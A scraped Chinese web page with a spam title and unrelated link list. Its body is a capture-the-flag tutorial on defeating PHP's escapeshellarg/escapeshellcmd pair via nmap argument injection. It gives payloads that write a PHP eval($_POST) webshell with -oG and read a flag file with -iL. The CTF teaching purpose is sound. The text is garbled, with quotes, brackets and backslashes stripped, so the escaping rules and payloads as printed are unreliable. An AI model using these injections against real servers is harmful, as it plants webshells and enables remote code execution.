当前位置: 首页 > news >正文

大兴58网站起名网站制作哈尔滨网站开发公司

大兴58网站起名网站制作,哈尔滨网站开发公司,织梦怎么做中英文双语网站,wordpress仿砍柴网文章目录 函数利用escapeshellarg()函数escapeshellcmd()函数 exp执行原理攻击面例题 [BUUCTF 2018]Online Tool例题 [网鼎杯 2020 朱雀组]Nmap 函数利用 escapeshellarg()函数 单引号 ()#xff1a;转义为 \。 双引号 ()#xff1a;转义为 \。 反斜杠 (\))转义为 \。 双引号 ()转义为 \。 反斜杠 (\)转义为 \\。 美元符号 ($)转义为 \$。 反引号 ()转义为 。 感叹号 (!)转义为 \!。 分号 (;)转义为 \;。 大于号 ()转义为 \。 小于号 ()转义为 \。 垂直线 (|)转义为 \|。 与号 ()转义为 \。 空格 ( )转义为 \ 。escapeshellcmd()函数 这些转义和规范化操作有助于确保命令字符串在传递给命令行时能够正确解析并且不会被误认为是命令或其他恶意代码。 执行操作 替换命令字符串中的单引号 () 为反斜杠和单引号组合 (\)。 替换命令字符串中的双引号 () 为反斜杠和双引号组合 (\)。 删除命令字符串中的换行符 (\n)。 删除命令字符串中的回车符 (\r)。exp执行原理 我们来分析下构造的exp 172.17.0.2 -v -d a1当进行escapeshellarg()函数处理后会先进行字符转义变成如下 172.17.0.2\ -v -d a1 //然后添加两个单引号到转义的单引号左右使得两部分括起来从而起到连接的作用 172.17.0.2\ -v -d a1再进行escapeshellcmd()函数处理后 对\以及最后那个不配对的单引号进行了转义 172.17.0.2\\ -v -d a1\所以如果利用攻击的话即向172.17.0.2\发起请求POST 数据为a1’ 中间的单引号闭合不用管 攻击面 如果应用使用escapeshellarg - escapeshellcmd这样的流程来处理输入是存在隐患的mail就是个很好的例子因为它函数内部使用了escapeshellcmd如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。 如果可以注入参数那利用就是各种各样的了例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。 例题 [BUUCTF 2018]Online Tool 源码 ?phpif (isset($_SERVER[HTTP_X_FORWARDED_FOR])) {$_SERVER[REMOTE_ADDR] $_SERVER[HTTP_X_FORWARDED_FOR]; }if(!isset($_GET[host])) {highlight_file(__FILE__); } else {$host $_GET[host];$host escapeshellarg($host);$host escapeshellcmd($host);$sandbox md5(glzjin. $_SERVER[REMOTE_ADDR]);echo you are in sandbox .$sandbox;mkdir($sandbox);chdir($sandbox);echo system(nmap -T5 -sT -Pn --host-timeout 2 -F .$host); }接收参数host然后经过escapeshellarg - escapeshellcmd处理最后执行命令 通过查阅我们知道nmap存在参数-oG可以实现将命令和结果写入文件 我们按照前文的思路尝试构造 (中间部分的转义可以不去管不会造成影响) 127.0.0.1 ?php eval();? -oG hack.php如果我们直接传入这个只会被当成字符串无法写入马 那么我们在传入参数的前面添加单引号后面空格加单引号 127.0.0.1 ?php eval();? -oG hack.php 传进去后变成 127.0.0.1 ?php eval();? -oG hack.php 经过escapeshellarg函数处理 \127.0.0.1 ?php eval();? -oG hack.php \ //在转义的单引号左右添加单引号 \127.0.0.1 ?php eval();? -oG hack.php \经过escapeshellcmd函数处理 \\127.0.0.1 ?php eval();? -oG hack.php \\执行结果会对目标\127.0.0.1发送命令?php eval();? -oG hack.php \写入文件 最终payload 127.0.0.1 ?php eval($_POST[hack]);? -oG hack.php 或者 ?php eval($_POST[hack]);? -oG hack.php 成功写入后命令执行 例题 [网鼎杯 2020 朱雀组]Nmap 方法和前一题差不多 大概测试了下语句必须有host值过滤了php 利用管道符|短标签和phtml后缀绕过 127.0.0.1 | ?eval($_POST[hack]);? -oG hack.phtml scan后访问/hack.phtml命令执行即可 还有一种利用方法payload如下 127.0.0.1 -iL ../../../../flag -o 1执行后访问/1即可得到flag 解释一下该命令拼接到执行语句后为 127.0.0.1\\ -iL ../../../../flag -o 1\也就是我们推导的exp执行过程
http://wiki.neutronadmin.com/news/369829/

相关文章:

  • 做库房推广哪个网站好上海网页制作培训学校
  • 城市轨道建设规范下载网站wordpress密码原理
  • 成都网站建设备案黄骅港中铁招聘信息
  • 网站没收录可以做推广吗网站建设公司选择意见书
  • wordpress网站翻译插件设计师去哪个网站找工作
  • 网站建设重点茂名网站优化
  • 张家港英文网站制作上海最新新闻资讯
  • 大学生创业做网站的筹资方式婚纱摄影介绍
  • seo网站优化软件wordpress 上传网站吗
  • 达内培训网站开发信息产业部 备案网站
  • 自己做的网站如何发布简单html代码
  • 茶叶企业网站源码网站后台不更新
  • 建设网站用什么代码写好呢如何用国外网站做头条
  • 网站内页没有排名wordpress 清爽主题
  • 移动网站和定制网站太原做企业网站
  • 西宁建设网站价格低互联网十大创业项目
  • 太湖手机网站建设外包小程序
  • 中国建设网官方网站下载e路最新版国家住房和城乡建设部中国建造师网站
  • 重庆网站建站推广建筑证书兼职网站
  • 下拉网站导航用ps怎么做关键词在线下载
  • 郑州个人做网站汉狮wordpress文章相册模式
  • 南皮做网站价格vue大型网站开发
  • 建设网站需要云服务器吗竹子建站下载
  • 礼品公司网站建设页面效果图
  • 建设阿里巴巴网站首页注册域名在哪里注册
  • 企业建设网站的主要作用短视频seo系统
  • 做网站伊犁哈萨克自治州四川平台网站建设哪里有
  • 金融网站模版软件工程职业生涯规划书
  • 查看网站备案信息邯郸市公司
  • title (网站开发)网络推广培训平台